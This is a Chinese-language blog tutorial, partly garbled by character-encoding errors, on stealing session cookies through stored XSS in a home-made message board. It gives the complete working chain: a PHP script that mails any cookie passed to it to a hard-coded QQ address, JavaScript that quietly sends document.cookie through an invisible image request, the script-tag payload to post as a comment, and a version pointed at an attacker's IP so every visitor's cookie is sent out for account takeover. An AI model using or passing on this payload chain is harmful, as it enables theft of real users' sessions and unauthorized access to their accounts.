存儲(chǔ)型XSS可以打到cookie,然后利用cookie去登陸別人賬戶,一般大家都使用XSS平臺(tái)獲取cookie,突發(fā)奇想,讓自己打到的cookie發(fā)到郵箱里是不是方便?于是嘗試一下XSS獲取cookie發(fā)送自己郵箱。這里我用自己做的簡(jiǎn)單留言板做個(gè)示范。

這是登錄界面,輸入用戶名進(jìn)去后

可以對(duì)留言內(nèi)容進(jìn)行XSS嘗試,因?yàn)槲醋魅魏芜^(guò)濾,所以存在XSS的,這里不詳細(xì)演示了,只看怎么獲取cookie吧
<script>alert(document.cookie)</script>


可以看到cookie已經(jīng)出來(lái)了,這里好像我的留言板做的太簡(jiǎn)單了,因沒(méi)做任何加密,,可以看到賬號(hào)密碼,不過(guò)這不是重點(diǎn)emmm,但這里的cookie只是自己的,這時(shí)別人登錄也會(huì)彈出cookie但只能本人看到,因此我們要想辦法獲取別人的
然后我自己寫(xiě)了個(gè)小腳本,用來(lái)獲取別人的cookie,同樣的方法插入xss代碼,如果別人登錄將會(huì)把別人的cookie發(fā)送到我郵箱里。
因?yàn)槭怯胮hp和js寫(xiě)的,所以我這里將php發(fā)送qq郵箱的方法說(shuō)一下,畢竟這是困我好久的難題。
其實(shí)方法也不難,不過(guò)遇到各種各樣的麻煩
關(guān)于配置sendmail,這是windows下的配置,ubuntu下沒(méi)成功,有高手可以指點(diǎn)下。
首先,這里我用的是wamp和用php mail()函數(shù)發(fā)送的郵件,php mail()函數(shù)在windows不能用,需要安裝sendmail,假如是用的XAMPP,則已經(jīng)下載好,不需要重新下載~
1.從http://glob.com.au/sendmail/下載sendmail.zip
2.解壓到C(其他一樣):下,例如C:\php\sendmail,最好短路徑,長(zhǎng)路徑名有可能產(chǎn)生問(wèn)題。
3.開(kāi)啟SMTP服務(wù):因?yàn)檫@里我用的qq發(fā)送,所以要開(kāi)啟qq郵箱的SMTP服務(wù)。
所有的主流郵箱都支持 SMTP 協(xié)議,但并非所有郵箱都默認(rèn)開(kāi)啟,您可以在郵箱的設(shè)置里面手動(dòng)開(kāi)啟。
第三方服務(wù)在提供了賬號(hào)和密碼之后就可以登錄 SMTP 服務(wù)器,通過(guò)它來(lái)控制郵件的中轉(zhuǎn)方式。
(1)開(kāi)啟郵箱(進(jìn)入qq郵箱點(diǎn)設(shè)置->帳戶)
圖片.png
(2)驗(yàn)證密保(圖片臨時(shí)找的不方便再)
圖片.png
(3)生成授權(quán)碼(授權(quán)碼就是下面要用的東西,忘了圖一會(huì)看到有生成授權(quán)碼,沒(méi)必要詳記)
圖片.png
4.配置sendmail文件:
圖片.png
圖片.png
以下都是修改項(xiàng)
[sendmail]
; you must change mail.mydomain.com to your smtp server
smtp_server=smtp.qq.com
smtp_port=465 //特別注意:端口這里是465,不是25,網(wǎng)上有很多填25,騰訊郵箱特別說(shuō)明了為465,還有一個(gè)忘了,困死我的地方,一直沒(méi)發(fā)現(xiàn)這有錯(cuò)。
auth_username=QQ號(hào)碼@qq.com
auth_password=授權(quán)碼 //注意:這里是qq授權(quán)碼不是郵箱密碼,第一次就栽這個(gè)了,,網(wǎng)上有很多寫(xiě)密碼的
force_sender=QQ號(hào)碼@qq.com
5.配置php.ini文件
打開(kāi)wamp的php.ini然后搜索“[mail function]”,找到下面文本塊,修改以下三樣
圖片.png
[mail function]
; For Win32 only.
SMTP = smtp.qq.com //因?yàn)槭莙q郵箱
smtp_port = 25
; For Win32 only.
sendmail_from = qq號(hào)@qq.com
; For Unix only. You may supply arguments as well (default: “sendmail -t -i”).
sendmail_path = “E:\wamp64\sendmail\sendmail.exe -t”//修改成自己的路徑
6.到這里就算配置完了,然后重啟wamp
然后開(kāi)始用自己的腳本試試了,php發(fā)送郵件的腳本很容易,然后再加上獲取cookie的js腳本,就成了
<?php
$cookie = $_GET['joke'];
if(isset($_GET['joke']))
{
$to = "1057032770@qq.com"; // 郵件接收者
$subject = "COOKIE"; // 郵件標(biāo)題
$message = $_GET['joke']; // 郵件正文
$from = "1057032770@qq.com"; // 郵件發(fā)送者
$headers = "From:" . $from; // 頭部信息設(shè)置
mail($to,$subject,$message,$headers);
echo "郵件已發(fā)送";
}
else
echo "郵件發(fā)送失敗";
?>
var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://localhost/Myphp/eamil0.php?joke='+encodeURIComponent(document.cookie);//這里是用本地環(huán)境測(cè)試的,可以換成自己的ip地址
然后就可以用了
<script src='http://localhost/Myphp/joke.js'></script> //joke.js是我的js文件名

將這段代碼留言就可以看到cookie了,任何人登錄都可以收到他cookie

可以看到已經(jīng)成功收到cookie?。?/p>

上面是本地測(cè)試,這是正常情況下的
比如:服務(wù)器的ip地址也就是留言板地址為192.168.xx.xxx,現(xiàn)在我用本機(jī)去訪問(wèn)留言板,任何人都可已訪問(wèn)

然后我充當(dāng)攻擊者,借用上面方法,修改為自己ip
img.src = 'http://172.21.xx.xxx/Myphp/eamil0.php?joke='+encodeURIComponent(document.cookie); //自己路徑
然后在留言板留言
<script src='http://172.21.xx.xxx/Myphp/joke.js'></script>
這樣每當(dāng)受害者去訪問(wèn)服務(wù)器也就是登陸留言板就會(huì)獲取他cookie,然后利用cookie不需要賬號(hào)密碼就可以登錄他的號(hào)。





